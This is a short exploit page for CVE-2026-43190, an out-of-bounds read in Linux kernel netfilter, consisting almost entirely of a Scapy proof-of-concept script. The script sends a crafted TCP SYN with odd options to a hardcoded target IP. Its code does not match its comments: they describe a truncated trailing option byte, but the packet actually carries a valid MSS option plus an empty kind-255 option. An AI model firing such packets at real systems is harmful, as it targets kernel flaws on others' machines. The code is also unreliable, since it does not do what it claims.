CVE-2026-43190: Linux内核netfilter越界读取漏洞

# Proof of Concept for CVE-2026-43190 # This script crafts a TCP packet with malformed options to potentially trigger the out-of-bounds read. # Requires Scapy: pip install scapy from scapy.all import IP, TCP, send, conf # Note: Triggering kernel bugs often requires specific timing or network conditions. # This PoC demonstrates sending a TCP packet with an option type that requires a length byte, # placed at the end of the options buffer to simulate the boundary condition. def send_malformed_tcp(target_ip, target_port): # Craft a TCP SYN packet. # TCP Option Kind 2 is MSS (Maximum Segment Size), which expects a 4-byte length (Kind + Len + Data). # If we place a single byte 0x02 at the very end of the allowed options space, # the kernel parser might read the next byte (out of bounds) to determine the length. # Scapy's options list is usually padded, but we try to construct a raw payload # that mimics the vulnerable structure described in the CVE. # Constructing a custom option that is essentially truncated. # The vulnerability occurs when i+1 == optlen, implying the option byte is valid but the length byte is missing. packet = IP(dst=target_ip) / TCP(dport=target_port, sport=12345, flags="S", options=[(2, 1460), (255, b"")]) print(f"[*] Sending malformed TCP packet to {target_ip}:{target_port}") send(packet, verbose=0) print("[+] Packet sent.") if __name__ == "__main__": # Replace with the target IP address for testing in a controlled environment target = "192.168.1.10" send_malformed_tcp(target, 80)